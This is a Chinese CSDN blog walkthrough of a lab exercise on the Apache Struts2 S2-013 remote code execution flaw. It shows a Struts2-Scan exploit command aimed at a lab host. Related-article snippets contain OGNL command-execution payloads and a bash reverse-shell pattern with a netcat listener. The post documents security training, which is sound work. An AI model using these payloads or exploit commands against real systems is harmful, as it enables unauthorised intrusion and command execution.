360众测靶场题库之20-Apache Struts2远程代码执行漏洞(S2-013)

最新推荐文章于 2024-08-07 18:47:37 发布
最新推荐文章于 2024-08-07 18:47:37 发布
阅读量203 收藏
点赞数 2
分类专栏： 360众测靶场题库 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/zjl12344/article/details/136540933
版权
本文介绍了如何通过访问特定页面发现Struts2应用中的S2-013漏洞，使用Struts2-Scan工具进行探测，并执行相关命令找到关键文件key.txt的过程，涉及Web安全漏洞检测技术。
摘要由CSDN通过智能技术生成

1.打开靶场即可看到S2-013的页面，访问主页字体发现有cookie，且在URL后输入/struts/webconsole.html，即可判断

2.利用工具直接进行探测

https://github.com/HatBoy/Struts2-Scan

python3 Struts2Scan.py -u http://219.153.49.228:46866/ -n S2-016 -e

3.执行相关命令，找到key.txt，得到我们想要的key

BugBounty
关注
专栏目录
[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-052（CVE-2017-9805）
qq_51577576的博客
12-15 1566
[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-052（CVE-2017-9805） Apache Struts2的REST插件存在远程代码执行的高危漏洞，其编号为CVE-2017-9805（S2-052）。Struts2 REST插件的XStream组件存在反序列化漏洞，使用XStream组件对XML格式的数据包进行反序列化操作时，未对数据内容进行有效验证，存在安全隐患，可被远程攻击。
[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-013（CVE-2013-1966）
qq_51577576的博客
11-24 551
在Struts2标签中和都包含一个includeParams属性,其值可设置为none、get 或 all,其对应意义分别为,none:链接不包含请求的任意参数值(默认),get:链接只包含GET请求中的参数和其值,all:链接包含GET和POST所有参数和其值.用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上.这个参数会进行OGNL表达式解析,从而可以插入任意OGNL表达式导致任意代码执行
在线靶场-墨者-命令执行2星-Apache Struts2远程代码执行漏洞(S2-013)复现
weixin_42079912的博客
08-09 555
S2-013漏洞原理：struts2的标签中 < s:a > 和 < s:url > 都有一个 includeParams 属性，可以设置成值none或get或all ，当includeParams=all的时候，会将本次请求的GET和POST参数都放在URL的GET参数上。此时< s:a > 或< s:url >尝试去解析原始请求参数时，会导致OG...
Apache Struts2远程代码执行漏洞(S2-013)
weixin_47493074的博客
09-19 489
Apache Struts2(S2-013)
【vulhub靶场之struts2】——s2-057
最新发布
weixin_57240513的博客
08-07 490
漏洞产生于网站配置XML时如果没有设置namespace的值，并且上层动作配置中并没有设置或使用通配符namespace时，可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值，并且上层动作并没有设置或使用通配符namespace，从而导致远程代码执行漏洞的发生。
Struts2远程代码执行漏洞分析（S2-013）1
08-08
Struts2远程代码执行漏洞分析（S2-013）1
墨者Apache Struts2远程代码执行漏洞(S2-013)复现题解
zr1213159840的博客
01-15 1729
首先查找到漏洞的相关利用信息，链接如下： https://vulhub.org/#/environments/struts2/s2-013/ 能看到poc如下： ?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStrea
s2-013远程代码执行漏洞
Stephen Wolf
11-18 1097
一、漏洞描述 struts2 标签中 `<s:a>` 和 `<s:url>` 都包含一个 includeParams 属性，其值可设置为 none，get 或 all，参考官方其对应意义如下： 1. none - 链接不包含请求的任意参数值（默认） 2. get - 链接只包含 GET 请求中的参数和其值 3. all - 链接包含 GET 和 POST 所有参数和其值...
在线靶场-墨者-命令执行2星-Apache Struts2远程代码执行漏洞(S2-008)复现
weixin_42079912的博客
08-09 412
S2-008漏洞原理：为了防止攻击者在参数中调用任意方法，标志xwork.MethodAccessor.denyMethodExecution被设置为true，并且SecurityMemberAccess字段默认allowStaticMethodAccess设置为false。 打开靶场网页，等网页加载完。如果没有加载完(靶场环境可能没有完全部署好)，可能会影响工具检测结果。 方法一：Struts...
墨者学院-Apache Struts2远程代码执行漏洞(S2-015)复现
JimWu的博客
09-04 2060
Apache Struts2远程代码执行漏洞(S2-015)复现 难易程度:★★ 题目类型:命令执行 使用工具:FireFox浏览器 漏洞原理: 如果一个请求与任何其他定义的操作不匹配，它将被匹配，*并且所请求的操作名称将用于以操作名称加载JSP文件。并且，1作为OGNL表达式的威胁值，{ }可以在服务器端执行任意的Java代码。 1.打开靶场，测试是否存在漏洞。 输入/${1+1}.action...
S2-013 远程代码执行漏洞检测与利用
Fly_鹏程万里
12-16 2722
前言 S2-014是对于S2-013修复不完整的造成的漏洞，会在漏洞分析中提到，所以文本的主要分析的还是S2-013 而且在分析的时候，发现参考网上资料时对于漏洞触发逻辑的一些错误 至少目前我自己是那么认为的：） 漏洞环境根据vulhub修改而来，环境地址 https://github.com/kingkaki/Struts2-Vulenv，感兴趣的师傅可以一起分析下 若有疏漏，还望多多指...
0x19.Apache Struts2远程代码执行漏洞(S2-013)
qq_31679787的博客
09-27 364
通过构造payload执行命令； payload：%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%2C%23b%3Dnew%20ja...
[漏洞复现]Apache Struts2/S2-013 （CVE-2013-1966）
k5664524的博客
01-17 615
2.3.1.2 之前的 Apache Struts 允许远程攻击者绕过 ParameterInterceptor 类中的安全保护并执行任意命令。
S2-013/S2-014 远程代码执行漏洞
玄道的网安博客
06-28 554
前言 S2-014 是对 S2-013 修复的加强，在 S2-013 修复的代码中忽略了 ${ognl_exp} OGNL 表达式执行的方式，因此 S2-014 是对其的补丁加强。 影响版本 2.0.0 - 2.3.14.1 环境搭建 cd vulhub/struts2/s2-013 docker-compose build && docker-compose up -d 漏洞复现 测试是否存在漏洞 http://yourIP:8080/link.action?a=%24{
【Vulfocus解题复现】Struts2 S2-013 Struts2 远程命令执行漏洞 （CVE-2013-1966）
温氏效应
09-04 2797
漏洞介绍 名称：Struts2 S2-013 远程命令执行漏洞 漏洞版本：Apache Group Struts 2.0.0 - 2.3.14 CVE标识符：CVE-2013-1966 描述：url和s:a标记都提供includeparams属性。该属性的主要作用域是了解包含或不包含http://request参数的内容。INCLUDEParams的允许值为：none-在URL中不包含任何参数（默认），get-仅在URL中包含get参数，all-在URL中同时包含get和post参数。当INCLUDEPa
墨者学院-Apache Struts2远程代码执行漏洞(S2-013)复现
JimWu的博客
09-04 1884
Apache Struts2远程代码执行漏洞(S2-013)复现 难易程度:★ 题目类型:命令执行 使用工具:FireFox浏览器、burpsuite 漏洞原理: s:url和s:a标记都提供includeparams属性。该属性的主要作用域是了解包含或不包含http://request参数的内容。INCLUDEParams的允许值为：none-在URL中不包含任何参数（默认），get-仅在URL...
Struts2 S2-013复现
ZJT6666666的博客
12-22 300
Struts2 S2-013复现
vulfocus 靶场struts2 代码执行 （CVE-2020-17530）
没有故事
04-24 1056
由于Struts2 会对某些标签属性(比如 id) 的属性值进行二次表达式解析，因此当这些标签属性中使用了 %{x} 且 x 的值用户可控时，用户即可构造一些SSRF、远程命令执行等形式的payload，并将这些恶意payload以%{...}形式传入该标签属性， 即可造成OGNL表达式执行。bash -c {echo,编码后的内容} |{base64 ,-d}|{bash , -i} #或： 抓包，改为如下内容： 红色部分为要更改的地方。监听机进行监听：nc -lvvp。
Vulhub靶场之struts2漏洞复现
weixin_66717977的博客
03-21 1485
struts2漏洞中属s2系列杀伤力最大，本文基于vulhub靶场，将介绍并复现strut2漏洞
在PHP、Apache环境下部署upload-labs漏洞靶场教程
在PHP和Apache环境中部署upload-labs是一款针对Web开发人员进行安全实践和学习的文件上传漏洞靶场工具。这个开源项目主要用于模拟和测试开发者在实际应用中可能遇到的文件上传漏洞情况，以便提高安全意识并提升防护...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值